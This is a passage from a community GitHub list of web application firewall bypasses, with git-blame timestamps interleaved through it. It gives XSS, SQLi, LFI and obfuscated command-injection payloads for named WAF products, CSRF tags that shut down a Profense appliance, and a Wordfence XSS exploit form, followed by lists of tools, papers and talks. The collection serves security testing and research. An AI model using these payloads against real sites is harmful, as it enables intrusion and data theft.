%2522%253E%253C%2Fdiv%253E%253C%2Fdiv%253E%253Cbrute%2520onbeforescriptexecute%3D%2527confirm%28document.domain%29%2527%253E
```
2019-06-21 22:33:01 +07:00
- [XSS Bypass ](https://twitter.com/fransrosen/status/1126963506723590148 ) by [@Frans Rosén ](https://twitter.com/fransrosen )
```
< style > @ keyframes a { } b { animation : a ; } < / style > < b / onanimationstart = prompt`${document.domain}` >
```
- [XSS Bypass ](https://twitter.com/security_prince/status/1127804521315426304 ) by [@Ishaq Mohammed ](https://twitter.com/security_prince )
```
< marquee + loop = 1+width=0+onfinish='new+Function`al \ert \`1 \``' >
```
2019-03-19 22:55:05 +07:00
2019-03-13 20:10:25 +07:00
### Profense
- [GET Type CSRF Attack ](https://www.exploit-db.com/exploits/7919 ) by [@Michael Brooks ](https://www.exploit-db.com/?author=628 ) (>= v.2.6.2)
Turn off Proface Machine
```
< img src = https://host:2000/ajax.html?action=shutdown >
```
Add a proxy
```
< img src = https://10.1.1.199:2000/ajax.html?vhost_proto=http&vhost=vhost.com&vhost_port=80&rhost_proto=http&rhost=10.1.1.1&rhost_port=80&mode_pass=on&xmle=on&enable_file_upload=on&static_passthrough=on&action=add&do=save >
```
- XSS Bypass by [@Michael Brooks ](https://www.exploit-db.com/?author=628 ) (>= v.2.6.2)
```
https://host:2000/proxy.html?action=manage& main=log& show=deny_log& proxy=>"< script > alert ( document . cookie ) < / script >
```
- [XSS Bypass ](https://www.securityfocus.com/bid/35053/info ) by [@EnableSecurity ](https://enablesecurity.com ) (>= v2.4)
```
%3CEvil%20script%20goes%20here%3E=%0AByPass
%3Cscript%3Ealert(document.cookie)%3C/script%20ByPass%3E
```
### QuickDefense
- XSS Bypass by [@WAFNinja ](https://waf.ninja/ )
```
?< input type = "search" onsearch = "aler \u0074(1)" >
< details ontoggle = alert(1) >
```
2019-05-24 09:34:28 +07:00
### Sucuri
2020-01-03 22:32:19 +07:00
- [XSS Bypass (POST Only) ](https://twitter.com/brutelogic/status/1209086328383660033 ) by [@brutelogic ](https://twitter.com/brutelogic )
```
< a href = javascript:confirm(1) >
```
2019-07-11 13:34:16 +07:00
- [Smuggling RCE Payloads ](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8 ) by [@theMiddle ](https://twitter.com/Menin_TheMiddle )
2019-05-24 09:34:28 +07:00
```
/???/??t+/???/??ss??
```
- [Obfuscating RCE Payloads ](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0 ) by [@theMiddle ](https://twitter.com/Menin_TheMiddle )
```
;+cat+/e'tc/pass'wd
c\\a\\t+/et\\c/pas\\swd
```
2019-07-11 13:34:16 +07:00
- [XSS Bypass ](https://twitter.com/return_0x/status/1148605627180208129 ) by [@Luka ](https://twitter.com/return_0x )
```
">< input / onauxclick = "[1].map(prompt)" >
```
2019-07-15 16:57:12 +07:00
- [XSS Bypass ](https://twitter.com/brutelogic/status/1148610104738099201 ) by [@Brute Logic ](https://twitter.com/brutelogic )
```
data:text/html,< form action = https://brutelogic.com.br/xss-cp.php method = post >
< input type = hidden name = a value = "<img/src=//knoxss.me/yt.jpg onpointerenter=alert`1`>" >
< input type = submit > < / form >
```
2019-05-24 09:34:28 +07:00
2020-08-26 22:28:00 +07:00
### StackPath
- [XSS Bypass ](https://twitter.com/0xInfection/status/1298642820664823808 ) by [@0xInfection ](https://twitter.com/0xInfection )
```
< object / data = javascript:alert() >
< a / href = "javascript%0A%0D:alert() > clickme
```
2019-06-21 22:33:01 +07:00
### URLScan
- [Directory Traversal ](https://github.com/0xInfection/Awesome-WAF/blob/master/papers/Beyond%20SQLi%20-%20Obfuscate%20and%20Bypass%20WAFs.txt#L557 ) by [@ZeQ3uL ](http://www.exploit-db.com/author/?a=1275 ) (< = v3.1) (Only on ASP.NET)
```
http://host.com/test.asp?file=.%./bla.txt
```
2019-05-22 13:57:46 +07:00
### WebARX
- Cross Site Scripting by [@0xInfection ](https://twitter.com/0xinfection )
```
< a69 / onauxclick = open() > rightclickhere
```
2019-10-13 23:35:31 +07:00
- [Bypassing All Protections Using A Whitelist String ](https://osandamalith.com/2019/10/12/bypassing-the-webarx-web-application-firewall-waf/ ) by [@Osanda Malith ](https://twitter.com/OsandaMalith )
- XSS PoC
```
http://host.com/?vulnparam=< script > alert ( ) < / script > & ithemes-sync-request
```
- LFI PoC
```
http://host.com/?vulnparam=../../../../../etc/passwd& ithemes-sync-request
```
- SQLi PoC
```
http://host.com/?vulnparam=1%20unionselect%20@@version,2--& ithemes-sync-request
```
2019-05-22 13:57:46 +07:00
2019-03-13 20:10:25 +07:00
### WebKnight
2019-02-26 13:44:18 +07:00
- Cross Site Scripting by [@WAFNinja ](https://waf.ninja/ )
2019-02-08 20:11:23 +07:00
```
< isindex action = j	a	vas	c	r	ipt:alert(1) type = image >
< marquee / onstart = confirm(2) >
< details ontoggle = alert(1) >
< div contextmenu = "xss" > Right-Click Here< menu id = "xss" onshow = "alert(1)" >
2019-02-26 13:44:18 +07:00
< img src = x onwheel = prompt(1) >
```
- SQLi by [@WAFNinja ](https://waf.ninja )
```
0 union(select 1,username,password from(users))
0 union(select 1,@@hostname,@@datadir)
2019-02-08 20:11:23 +07:00
```
2019-06-04 13:40:06 +07:00
- XSS Bypass by [@Aatif Khan ](https://twitter.com/thenapsterkhan ) (v4.1)
```
< details ontoggle = alert(1) >
< div contextmenu = "xss" > Right-Click Here< menu id = "xss" onshow = "alert(1)" >
```
2019-06-21 22:33:01 +07:00
- [SQLi Bypass ](https://github.com/0xInfection/Awesome-WAF/blob/master/papers/Beyond%20SQLi%20-%20Obfuscate%20and%20Bypass%20WAFs.txt#L562 ) by [@ZeQ3uL ](http://www.exploit-db.com/author/?a=1275 )
```
10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
```
2019-02-08 20:11:23 +07:00
2019-03-13 20:10:25 +07:00
### Wordfence
2019-07-15 16:57:12 +07:00
- XSS Bypass by [@brute Logic ](https://twitter.com/brutelogic )
2019-04-07 09:34:52 +07:00
```
< a href = javascript:alert(1) >
2020-01-03 22:32:19 +07:00
< a href = javascript:alert(1) >
2019-04-07 09:34:52 +07:00
```
2019-04-26 11:11:01 +07:00
- XSS Bypass by [@0xInfection ](https://twitter.com/0xInfection )
2019-02-08 20:11:23 +07:00
```
2019-04-26 11:11:01 +07:00
< a / * * / href = j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:/**/alert()/**/ > click
2019-03-13 20:10:25 +07:00
```
- [HTML Injection ](https://www.securityfocus.com/bid/69815/info ) by [@Voxel ](https://www.exploit-db.com/?author=8505 )
```
http://host/wp-admin/admin-ajax.php?action=revslider_show_image& img=../wp-config.php
```
- [XSS Exploit ](https://www.securityfocus.com/bid/56159/info ) by [@MustLive ](https://www.exploit-db.com/?author=1293 ) (>= v3.3.5)
```
< html >
< head >
< title > Wordfence Security XSS exploit (C) 2012 MustLive.
http://websecurity.com.ua< / title >
< / head >
< body onLoad = "document.hack.submit()" >
< form name = "hack" action = "http://site/?_wfsf=unlockEmail" method = "post" >
< input type = "hidden" name = "email"
value="< script > alert ( document . cookie ) < / script > ">
< / form >
< / body >
< / html >
2019-02-08 20:11:23 +07:00
```
2019-03-22 01:17:46 +07:00
- [Other XSS Bypasses ](https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md )
```
< meter onmouseover = "alert(1)"
'">>< div > < meter onmouseover = "alert(1)" < / div > "
>>< marquee loop = 1 width = 0 onfinish = alert(1) >
```
2019-02-08 20:11:23 +07:00
2019-03-21 20:43:00 +07:00
### Apache Generic
2019-02-26 13:44:18 +07:00
- Writing method type in lowercase by [@i_bo0om ](http://twitter.com/i_bo0om )
2019-02-08 20:11:23 +07:00
```
get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
2019-03-21 20:43:00 +07:00
### IIS Generic
2019-02-26 13:44:18 +07:00
- Tabs before method by [@i_bo0om ](http://twitter.com/i_bo0om )
2019-02-08 20:11:23 +07:00
```
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
```
2019-01-26 14:37:22 +07:00
## Awesome Tools
2019-02-22 20:27:56 +07:00
### Fingerprinting:
2019-05-23 23:26:02 +07:00
- [WAFW00F ](https://github.com/enablesecurity/wafw00f ) - The ultimate WAF fingerprinting tool with the largest fingerprint database from [@EnableSecurity ](https://github.com/enablesecurity ).
- [IdentYwaf ](https://github.com/stamparm/identywaf ) - A blind WAF detection tool which utlises a unique method of identifying WAFs based upon previously collected fingerprints by [@stamparm ](https://github.com/stamparm ).
2019-01-26 14:37:22 +07:00
2019-02-22 20:27:56 +07:00
### Testing:
2021-02-12 21:47:29 +07:00
- [GoTestWAF ](https://github.com/wallarm/gotestwaf ) - A tool to test a WAF's detection logic and bypasses from [@wallarm ](https://github.com/wallarm ).
2019-06-08 23:39:14 +07:00
- [Lightbulb Framework ](https://github.com/lightbulb-framework/lightbulb-framework ) - A WAF testing suite written in Python.
2019-01-26 20:07:07 +07:00
- [WAFBench ](https://github.com/microsoft/wafbench ) - A WAF performance testing suite by [Microsoft ](https://github.com/microsoft ).
2019-04-07 09:20:26 +07:00
- [WAF Testing Framework ](https://www.imperva.com/lg/lgw_trial.asp?pid=483 ) - A WAF testing tool by [Imperva ](https://imperva.com ).
2021-03-09 23:08:46 +07:00
- [Framework for Testing WAFs (FTW) ](https://github.com/coreruleset/ftw ) - A framework by the [OWASP CRS team ](https://coreruleset.org/ ) that helps to provide rigorous tests for WAF rules by using the OWASP Core Ruleset V3 as a baseline.
2019-01-26 14:37:22 +07:00
2019-02-22 20:27:56 +07:00
### Evasion:
2019-05-23 23:26:02 +07:00
- [WAFNinja ](https://github.com/khalilbijjou/wafninja ) - A smart tool which fuzzes and can suggest bypasses for a given WAF by [@khalilbijjou ](https://github.com/khalilbijjou/ ).
- [WAFTester ](https://github.com/Raz0r/waftester ) - Another tool which can obfuscate payloads to bypass WAFs by [@Raz0r ](https://github.com/Raz0r/ ).
2020-08-15 13:37:39 +07:00
- [libinjection-fuzzer ](https://github.com/migolovanov/libinjection-fuzzer ) - A fuzzer intended for finding `libinjection` bypasses but can be probably used universally.
2019-05-23 23:26:02 +07:00
- [bypass-firewalls-by-DNS-history ](https://github.com/vincentcox/bypass-firewalls-by-DNS-history ) - A tool which searches for old DNS records for finding actual site behind the WAF.
- [abuse-ssl-bypass-waf ](https://github.com/LandGrey/abuse-ssl-bypass-waf ) - A tool which finds out supported SSL/TLS ciphers and helps in evading WAFs.
- [SQLMap Tamper Scripts ](https://github.com/sqlmapproject/sqlmap ) - Tamper scripts in SQLMap obfuscate payloads which might evade some WAFs.
- [Bypass WAF BurpSuite Plugin ](https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c ) - A plugin for Burp Suite which adds some request headers so that the requests seem from the internal network.
2022-02-08 22:36:00 +07:00
- [enumXFF ](https://github.com/infosec-au/enumXFF ) - Eumerating IPs in X-Forwarded-Headers to bypass 403 restrictions
2024-10-28 13:43:39 +07:00
- [WAF Bypass Tool ](https://github.com/nemesida-waf/waf-bypass ) - WAF bypass Tool from Nemesida is an open source tool to analyze the security of any WAF for False Positives and False Negatives using predefined and customizable payloads.
2019-02-09 15:04:02 +07:00
2022-03-04 00:58:19 +07:00
### Management:
- [AWS Firewall Factory ](https://github.com/globaldatanet/aws-firewall-factory ) - Deploy, update, and stage your WAFs while managing them centrally via FMS.
2022-03-04 01:02:11 +07:00
2019-02-13 20:25:39 +07:00
## Blogs and Writeups
2020-08-25 14:01:07 +07:00
> Many of the content mentioned above have been taken from some of the following excellent writeups.
2019-02-22 20:27:56 +07:00
- [Web Application Firewall (WAF) Evasion Techniques #1 ](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8 ) - By [@Secjuice ](https://www.secjuice.com ).
- [Web Application Firewall (WAF) Evasion Techniques #2 ](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0 ) - By [@Secjuice ](https://www.secjuice.com ).
- [Web Application Firewall (WAF) Evasion Techniques #3 ](https://www.secjuice.com/web-application-firewall-waf-evasion/ ) - By [@Secjuice ](https://www.secjuice.com ).
2019-05-22 13:57:46 +07:00
- [How To Exploit PHP Remotely To Bypass Filters & WAF Rules ](https://www.secjuice.com/php-rce-bypass-filters-sanitization-waf/ )- By [@Secjuice ](https://secjuice.com )
2019-03-23 00:36:23 +07:00
- [ModSecurity SQL Injection Challenge: Lessons Learned ](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/ ) - By [@SpiderLabs ](https://trustwave.com ).
2019-02-22 20:27:56 +07:00
- [XXE that can Bypass WAF ](https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0 ) - By [@WallArm ](https://labs.wallarm.com ).
- [SQL Injection Bypassing WAF ](https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF ) - By [@OWASP ](https://owasp.com ).
2019-03-27 12:15:58 +07:00
- [How To Reverse Engineer A Web Application Firewall Using Regular Expression Reversing ](https://www.sunnyhoi.com/reverse-engineer-web-application-firewall-using-regular-expression-reversing/ ) - By [@SunnyHoi ](https://twitter.com/sunnyhoi ).
- [Bypassing Web-Application Firewalls by abusing SSL/TLS ](https://0x09al.github.io/waf/bypass/ssl/2018/07/02/web-application-firewall-bypass.html ) - By [@0x09AL ](https://twitter.com/0x09al ).
- [Request Encoding to Bypass WAFs ](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/request-encoding-to-bypass-web-application-firewalls/ ) - By [@Soroush Dalili ](https://twitter.com/irsdl )
2019-02-08 20:17:35 +07:00
2019-02-26 13:44:18 +07:00
## Video Presentations
- [WAF Bypass Techniques Using HTTP Standard and Web Servers Behavior ](https://www.youtube.com/watch?v=tSf_IXfuzXk ) from [@OWASP ](https://owasp.org ).
2019-02-26 14:21:32 +07:00
- [Confessions of a WAF Developer: Protocol-Level Evasion of Web App Firewalls ](https://www.youtube.com/watch?v=PVVG4rCFZGU ) from [BlackHat USA 12 ](https://blackhat.com/html/bh-us-12 ).
- [Web Application Firewall - Analysis of Detection Logic ](https://www.youtube.com/watch?v=dMFJLicdaC0 ) from [BlackHat ](https://blackhat.com ).
- [Bypassing Browser Security Policies for Fun & Profit ](https://www.youtube.com/watch?v=P5R4KeCzO-Q ) from [BlackHat ](https://blackhat.com ).
- [Web Application Firewall Bypassing ](https://www.youtube.com/watch?v=SD7ForrwUMY ) from [Positive Technologies ](https://ptsecurity.com ).
- [Fingerprinting Filter Rules of Web Application Firewalls - Side Channeling Attacks ](https://www.usenix.org/conference/woot12/workshop-program/presentation/schmitt ) from [@UseNix ](https://www.usenix.com ).
- [Evading Deep Inspection Systems for Fun and Shell ](https://www.youtube.com/watch?v=BkmPZhgLmRo ) from [BlackHat US 13 ](https://blackhat.com/html/bh-us-13 ).
- [Bypass OWASP CRS && CWAF (WAF Rule Testing - Unrestricted File Upload) ](https://www.youtube.com/watch?v=lWoxAjvgiHs ) from [Fools of Security ](https://www.youtube.com/channel/UCEBHO0kD1WFvIhf9wBCU-VQ ).
- [WAFs FTW! A modern devops approach to security testing your WAF ](https://www.youtube.com/watch?v=05Uy0R7UdFw ) from [AppSec USA 17 ](https://www.youtube.com/user/OWASPGLOBAL ).
- [Web Application Firewall Bypassing WorkShop ](https://www.youtube.com/watch?v=zfBT7Kc57xs ) from [OWASP ](https://owasp.com ).
- [Bypassing Modern WAF's Exemplified At XSS by Rafay Baloch ](https://www.youtube.com/watch?v=dWLpw-7_pa8 ) from [Rafay Bloch ](http://rafaybaloch.com ).
- [WTF - WAF Testing Framework ](https://www.youtube.com/watch?v=ixb-L5JWJgI ) from [AppSecUSA 13 ](https://owasp.org ).
- [The Death of a Web App Firewall ](https://www.youtube.com/watch?v=mB_xGSNm8Z0 ) from [Brian McHenry ](https://www.youtube.com/channel/UCxzs-N2sHnXFwi0XjDIMTPg ).
- [Adventures with the WAF ](https://www.youtube.com/watch?v=rdwB_p0KZXM ) from [BSides Manchester ](https://www.youtube.com/channel/UC1mLiimOTqZFK98VwM8Ke4w ).
- [Bypassing Intrusion Detection Systems ](https://www.youtube.com/watch?v=cJ3LhQXzrXw ) from [BlackHat ](https://blackhat.com ).
2019-08-14 13:54:59 +07:00
- [Building Your Own WAF as a Service and Forgetting about False Positives ](https://www.youtube.com/watch?v=dgqUcHprolc ) from [Auscert ](https://conference.auscert.org.au ).
2019-02-26 13:44:18 +07:00
2019-01-26 08:20:21 +07:00
## Presentations & Research Papers
2019-02-06 20:03:23 +07:00
### Research Papers:
- [Protocol Level WAF Evasion ](papers/Qualys%20Guide%20-%20Protocol-Level%20WAF%20Evasion.pdf ) - A protocol level WAF evasion techniques and analysis by [Qualys ](https://www.qualys.com ).
- [Neural Network based WAF for SQLi ](papers/Artificial%20Neural%20Network%20based%20WAF%20for%20SQL%20Injection.pdf ) - A paper about building a neural network based WAF for detecting SQLi attacks.
2019-02-27 10:23:17 +07:00
- [Bypassing Web Application Firewalls with HTTP Parameter Pollution ](papers/Bypassing%20Web%20Application%20Firewalls%20with%20HTTP%20Parameter%20Pollution.pdf ) - A research paper from [Exploit DB ](https://exploit-db.com ) about effectively bypassing WAFs via HTTP Parameter Pollution.
2019-02-22 20:27:56 +07:00
- [Poking A Hole in the Firewall ](papers/Poking%20A%20Hole%20In%20The%20Firewall.pdf ) - A paper by [Rafay Baloch ](https://www.rafaybaloch.com ) about modern firewall analysis.
2019-02-19 20:02:17 +07:00
- [Modern WAF Fingerprinting and XSS Filter Bypass ](papers/Modern%20WAF%20Fingerprinting%20and%20XSS%20Filter%20Bypass.pdf ) - A paper by [Rafay Baloch ](https://www.rafaybaloch.com ) about WAF fingerprinting and bypassing XSS filters.
2019-02-06 20:03:23 +07:00
- [WAF Evasion Testing ](papers/SANS%20Guide%20-%20WAF%20Evasion%20Testing.pdf ) - A WAF evasion testing guide from [SANS ](https://www.sans.org ).
2019-06-04 12:22:21 +07:00
- [Side Channel Attacks for Fingerprinting WAF Filter Rules ](papers/Side%20Channel%20(Timing )%20Attacks%20for%20Fingerprinting%20WAF%20Rules.pdf) - A paper about how side channel attacks can be utilised to fingerprint firewall filter rules from [UseNix Woot'12 ](https://www.usenix.org/conference/woot12 ).
2019-02-22 20:27:56 +07:00
- [WASC WAF Evaluation Criteria ](papers/WASC%20WAF%20Evaluation%20Criteria.pdf ) - A guide for WAF Evaluation from [Web Application Security Consortium ](http://www.webappsec.org ).
2019-02-06 20:03:23 +07:00
- [WAF Evaluation and Analysis ](papers/Web%20Application%20Firewalls%20-%20Evaluation%20and%20Analysis.pdf ) - A paper about WAF evaluation and analysis of 2 most used WAFs (ModSecurity & WebKnight) from [University of Amsterdam ](http://www.uva.nl ).
- [Bypassing all WAF XSS Filters ](papers/Evading%20All%20Web-Application%20Firewalls%20XSS%20Filters.pdf ) - A paper about bypassing all XSS filter rules and evading WAFs for XSS.
- [Beyond SQLi - Obfuscate and Bypass WAFs ](papers/Beyond%20SQLi%20-%20Obfuscate%20and%20Bypass%20WAFs.txt ) - A research paper from [Exploit Database ](https://exploit-db.com ) about obfuscating SQL injection queries to effectively bypass WAFs.
2019-03-13 20:10:25 +07:00
- [Bypassing WAF XSS Detection Mechanisms ](papers/Bypassing%20WAF%20XSS%20Detection%20Mechanisms.pdf ) - A research paper about bypassing XSS detection mechanisms in WAFs.
2019-02-06 20:03:23 +07:00
2019-01-26 08:20:21 +07:00
### Presentations:
2019-02-26 13:44:18 +07:00
- [Methods to Bypass a Web Application Firewall ](presentrations/Methods%20To%20Bypass%20A%20Web%20Application%20Firewall.pdf ) - A presentation from [PT Security ](https://www.ptsecurity.com ) about bypassing WAF filters and evasion.
- [Web Application Firewall Bypassing (How to Defeat the Blue Team) ](presentation/Web%20Application%20Firewall%20Bypassing%20(How%20to%20Defeat%20the%20Blue%20Team ).pdf) - A presentation about bypassing WAF filtering and ruleset fuzzing for evasion by [@OWASP ](https://owasp.org ).
2019-01-26 11:13:33 +07:00
- [WAF Profiling & Evasion Techniques ](presentations/OWASP%20WAF%20Profiling%20&%20Evasion.pdf ) - A WAF testing and evasion guide from [OWASP ](https://www.owasp.org ).
- [Protocol Level WAF Evasion Techniques ](presentations/BlackHat%20US%2012%20-%20Protocol%20Level%20WAF%20Evasion%20(Slides ).pdf) - A presentation at about efficiently evading WAFs at protocol level from [BlackHat US 12 ](https://www.blackhat.com/html/bh-us-12/ ).
2019-01-26 11:30:12 +07:00
- [Analysing Attacking Detection Logic Mechanisms ](presentations/BlackHat%20US%2016%20-%20Analysis%20of%20Attack%20Detection%20Logic.pdf ) - A presentation about WAF logic applied to detecting attacks from [BlackHat US 16 ](https://www.blackhat.com/html/bh-us-16/ ).
- [WAF Bypasses and PHP Exploits ](presentations/WAF%20Bypasses%20and%20PHP%20Exploits%20(Slides ).pdf) - A presentation about evading WAFs and developing related PHP exploits.
2019-06-04 12:22:21 +07:00
- [Side Channel Attacks for Fingerprinting WAF Filter Rules ](presentations/Side%20Channel%20Attacks%20for%20Fingerprinting%20WAF%20Filter%20Rules.pdf ) - A presentation about how side channel attacks can be utilised to fingerprint firewall filter rules from [UseNix Woot'12 ](https://www.usenix.org/conference/woot12 ).
- [Our Favorite XSS Filters/IDS and how to Attack Them ](presentations/Our%20Favourite%20XSS%20WAF%20Filters%20And%20How%20To%20Bypass%20Them.pdf ) - A presentation about how to evade XSS filters set by WAF rules from [BlackHat USA 09 ](https://www.blackhat.com/html/bh-us-09/ ).
2019-02-08 20:26:46 +07:00
- [Playing Around with WAFs ](presentations/Playing%20Around%20with%20WAFs.pdf ) - A small presentation about WAF profiling and playing around with them from [Defcon 16 ](http://www.defcon.org/html/defcon-16/dc-16-post.html ).
2020-08-15 13:37:39 +07:00
- [A Forgotten HTTP Invisibility Cloak ](presentation/A%20Forgotten%20HTTP%20Invisibility%20Cloak.pdf ) - A presentation about techniques that can be used to bypass common WAFs from [BSides Manchester ](https://www.bsidesmcr.org.uk/ ).
2019-08-14 13:54:59 +07:00
- [Building Your Own WAF as a Service and Forgetting about False Positives ](presentations/Building%20Your%20Own%20WAF%20as%20a%20Service%20and%20Forgetting%20about%20False%20Positives.pdf ) - A presentation about how to build a hybrid mode waf that can work both in an out-of-band manner as well as inline to reduce false positives and latency [Auscert2019 ](https://conference.auscert.org.au/ ).
2019-02-26 13:44:18 +07:00
## Credits & License:
2022-03-04 01:02:11 +07:00
Initial fingerprint compilation and bypasses were put together by [Pinaki ](https://twitter.com/0xInfection ) [(0xInfection) ](https://github.com/0xinfection ), but now it largely remains as a community supported repository. Awesome-WAF is licensed under the [Apache 2.0 License ](LICENSE ).